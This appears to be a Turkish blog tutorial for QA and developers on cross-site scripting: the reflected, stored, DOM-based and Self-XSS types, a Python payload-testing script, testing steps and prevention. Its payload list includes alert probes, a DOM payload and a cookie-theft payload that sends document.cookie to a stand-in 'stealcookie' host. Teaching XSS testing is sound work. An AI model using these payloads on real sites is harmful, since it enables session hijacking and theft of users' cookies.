Gördüğüm istatistiklere ve deneyimlerime göre XSS açıkları web uygulamaları için yaygın bir tehdit olmaya devam ediyor; veri hırsızlığı, oturumun ele geçirilmesi ve web sitesi sorunları gibi riskler doğuruyor. Bu güvenlik açığı türünü araştırmaya daha fazla zaman ayırabileceğime ve en azından bu genel bakışı (temel bilgiler gibi) sizinle paylaşabileceğime karar verdim; böylece birçok QA ve geliştirme uzmanı, uygulamalarını bu soruna karşı test etmenin bazı yollarını aklında tutabilir. Bu makalede farklı XSS türleri, test metodolojileri ve otomasyon yaklaşımları incelenmekte ve etkili sızma testi için bazı örnekler ve veriler sunulmaktadır.
Siteler arası komut dosyası çalıştırma (XSS), saldırganların diğer kullanıcılar tarafından görüntülenen web sayfalarına kötü amaçlı komut dosyaları eklemesine ve istemci tarafında kod yürütmedeki güvenlik açıklarından yararlanmasına olanak tanır. Farklı XSS güvenlik açıklarını anlamak ve uygun test stratejilerini kullanmak, bu tür saldırılara karşı korunan güvenli web uygulamaları oluşturmak için çok önemlidir.
XSS açıklarından yararlanma, güvenilmeyen kullanıcı girişinin bir web uygulaması içinde yeterince temizlenmemesi ve çalıştırılması durumunda ortaya çıkar ve saldırganların diğer kullanıcıların tarayıcılarının bağlamına kötü amaçlı komut dosyaları yerleştirmesine ve yürütmesine olanak tanır.
Kullanıcı tarafından sağlanan veriler, uygun doğrulama yapılmadan yanıtta tekrar yankılandığında ortaya çıkar.
Örnek: Bir URL parametresi yoluyla enjekte edilen <script>alert('XSS_DEMO')</script>
.
Bu istismarlar, bir web uygulamasının doğrulanmamış kullanıcı girişini, uygun şekilde temizlemeden kullanıcının tarayıcısına yansıtması durumunda ortaya çıkar. Bu saldırıda saldırgan, kurban tarafından tıklandığında savunmasız web sayfası bağlamında çalıştırılan, komut dosyası kodu içeren kötü amaçlı bir URL oluşturur. Kötü amaçlı komut dosyası sunucuda saklanmaz, bunun yerine doğrudan kullanıcının girişinden yansıtılır. Yansıyan XSS güvenlik açıklarından genellikle kimlik avı saldırılarında veya kullanıcının tarama deneyimini değiştirmek için yararlanılır. Etki, çerez hırsızlığından oturumun ele geçirilmesine kadar ciddi olabilir.
Kötü amaçlı komut dosyası sunucuda kalıcı olarak depolanır ve diğer kullanıcılar tarafından erişildiğinde yürütülür.
Örnek: Bir forum gönderisindeki veya sosyal ağ profil sayfasındaki bir yorumda/gönderide saklanan kötü amaçlı komut dosyası.
Kalıcı XSS olarak da bilinen bu durum, bir saldırganın bir web uygulamasına kötü amaçlı komut dosyası kodu enjekte etmesi ve bu kodun daha sonra sunucu tarafında depolanmasıyla ortaya çıkar. Bu enjekte edilen komut dosyası daha sonra savunmasız sayfaya diğer kullanıcılar tarafından erişildiğinde alınır ve yürütülür. Saklanan XSS saldırıları, enjekte edilen komut dosyasının zaman içinde devam etmesi, potansiyel olarak birden fazla kullanıcıyı etkilemesi ve yaygın kullanıma yol açması nedeniyle özellikle tehlikelidir. Saldırganlar genellikle kötü amaçlı yüklerini yürütmek için yorumlar, forum gönderileri, web sayfalarında veya profil alanlarında görüntülenen varlık adları gibi kullanıcı tarafından oluşturulan içeriği hedefler. Saklanan XSS'nin sonuçları arasında veri hırsızlığı, hesabın ele geçirilmesi ve web sitesinin tahrif edilmesi yer alabilir ve hem kullanıcılar hem de etkilenen kuruluş için önemli riskler oluşturabilir.
Komut dosyasının yürütülmesi, DOM'un istemci tarafında manipülasyonuna dayanır.
Örnek: JS kodu, kullanıcı tarafından kontrol edilen verileri URL karmasından alır ve yürütür.
Bir web uygulamasının, güvenilmeyen kullanıcı girişine dayalı olarak DOM'u güvenli olmayan bir şekilde dinamik olarak değiştirmesi durumunda ortaya çıkar. Sunucu tarafı işlemeyi içeren geleneksel XSS saldırılarının aksine, DOM tabanlı XSS tamamen istemci tarafında kendini gösterir. Saldırganlar, kurbanın tarayıcısında rastgele kod yürütmek için istemci tarafındaki komut dosyalarını değiştirerek DOM tabanlı XSS'den yararlanır. Güvenlik açığı istemci tarafı kodunda yer aldığından ve sunucu tarafı testleri sırasında belirgin olamayabileceğinden, bu tür XSS'nin tespit edilmesi ve azaltılması genellikle daha zordur. DOM tabanlı XSS saldırıları, oturum ele geçirme, veri sızması ve kullanıcı adına yetkisiz eylemler dahil olmak üzere çeşitli sonuçlara yol açabilir; bu da istemci tarafı güvenlik önlemlerinin ve dikkatli web uygulaması geliştirme uygulamalarının önemini vurgular.
Bu, bir saldırganın kullanıcıyı tarayıcısında kötü amaçlı kod çalıştırması için kandırdığı bir sosyal mühendislik saldırısıdır. Birden fazla kullanıcıyı hedef alan geleneksel XSS saldırılarından farklı olarak Self-XSS, kullanıcının kendi oturumunda kod yürütme güvenini istismar eder. Saldırganlar genellikle kurbanları, bir özelliğin kilidini açmak veya ödül kazanmak gibi zararsız bir eylem kisvesi altında, görünüşte masum görünen JS kodunu tarayıcılarının geliştirici konsoluna veya bir web sitesinin bazı alanlarına yapıştırmaya teşvik eder. Enjekte edilen kod yürütüldükten sonra potansiyel olarak kurbanın hesabını tehlikeye atabilir, hassas bilgileri çalabilir veya kurban adına yetkisiz eylemler gerçekleştirebilir. Mağdurun oturumuyla sınırlı olmasına rağmen Self-XSS, bu tür aldatıcı taktikleri tanımak ve bunlardan kaçınmak için kullanıcı eğitiminin ve farkındalığının önemini vurgulayarak bir tehdit olmaya devam ediyor.
Bazı senaryolar yazabilirsiniz; Örneğin Python'u tercih ederim:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
Yüklerin yansıtılıp yansıtılmadığını veya yürütülüp yürütülmediğini belirlemek için yanıtları analiz edin. PoC oluşturun, potansiyel etkiyi anlayın ve sorunların düzeltilmesine öncelik verin.
Adımlar:
Uygulamanızın giriş alanlarına bir komut dosyası etiketi ve ardından bir miktar JS kodu girin.
Örneğin, temel XSS verileri:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
Girişi gönderin ve betiğin çalışıp çalışmadığına bakın.
Eğer öyleyse, uygulama XSS saldırılarına karşı savunmasız demektir.
Betik çalışmazsa, <img>
veya <iframe>
gibi diğer HTML etiketlerini ekleyerek girişi değiştirmeyi deneyin ve bunların sayfaya yansıtılıp yansıtılmadığına bakın (bu neredeyse her zaman benim için işe yarar) :
<b>t</b>#`"/*—est
Web uygulaması URL'nizin veya kullanıcı adının, yüklenen dosya adlarının veya uygulama sayfasında görüntülenecek herhangi bir metnin sorgu parametrelerini değiştirmek için bir komut dosyası ekleyebilirsiniz.
Girişlerin ön uç doğrulamalarının farkında olun. Değeri her zaman doğrudan bir istek kullanarak (Postacı, Burp veya benzeri araçları kullanarak) göndermeye çalışın.
Geliştirici araçlarında tarayıcı konsolunu kontrol edin çünkü bazen sayfada görünür herhangi bir değişiklik göremeyebilirsiniz ancak bazı semboller, örneğin `"/*—
sayfanın JS/HTML'sini bozabilir ve konsolda bu duruma neden olabilecek bir uyarı görebilirsiniz. XSS PoC almak için yükünüzü nasıl değiştireceğiniz konusunda size bir ipucu olabilir
Fuzzing ve bir yük listesi kullanın; mümkün olduğunda bu yaklaşımı otomatikleştirin veya bunun için özel araçlar kullanın.
Kişisel olarak buradaki yükleri ve bilgileri kullanmayı seviyorum, bence çok faydalı bir kaynak.
XSS PoC'si
print()
işlevi gibi alternatif yüklerin kullanılması.Gelişmiş XSS Kullanımı
XSS Filtrelerini Atlamak
Çıkış verilerinin oluşturulduğu bağlama göre verileri kodlayın. XSS'ye karşı kapsamlı koruma sağlamak için HTML, JS, CSS ve diğer bağlamlar için farklı kodlama yöntemleri uygulayın.
Örneğin , komut dosyası enjeksiyonunu önlemek ve çeşitli çıktı bağlamlarında veri bütünlüğünü korumak amacıyla HTML içeriği için HTML varlık kodlamasını, satır içi komut dosyası bağlamları için JavaScript kaçışını ve stil nitelikleri için CSS kaçışını kullanın.
Kullanıcı girişlerini önceden tanımlanmış izin verilenler listelerine ve izin verilen ve yasaklanan karakterlerin, kalıpların veya içerik türlerinin reddedilen listelerine göre filtrelemek ve doğrulamak için giriş beyaz listesi ve kara listeye alma uygulayın.
XSS, web uygulamalarına yönelik kalıcı tehditler oluşturarak veri ihlallerini ve kullanıcı güvenini tehlikeye atıyor. XSS türlerini ve test yöntemlerini anlamak, etkili azaltım için çok önemlidir. Giriş doğrulama, çıkış kodlama ve CSP uygulaması gibi önleme teknikleri uygulama güvenliğini artırır. Ekipler, güvenlik uygulamalarına ve işbirliğine öncelik vererek uygulamalarını XSS'ye karşı koruyabilir ve yeterli web uygulaması güvenliğini sağlayabilir.
Yeni başlayan biriyseniz ve siber güvenlik ve sızma testiyle ilgileniyorsanız veya uygulamanızı daha güvenli hale getirecek şekilde geliştirmek istiyorsanız şu konulardaki makalelerimi okuyabilirsiniz:
XSS ve veriler hakkında daha fazla ayrıntı için aşağıdaki kaynakları bulabilirsiniz:
Sızma testlerini her zaman açık izinle ve kontrollü bir ortamda gerçekleştirin. Bu etik yaklaşım, güvenlik değerlendirmelerinin sorumlu test protokolleriyle uyumlu olmasını sağlar, sistemlere yanlışlıkla müdahale edilmesini önler ve hem test sürecinin hem de genel siber güvenlik stratejisinin bütünlüğünü korur.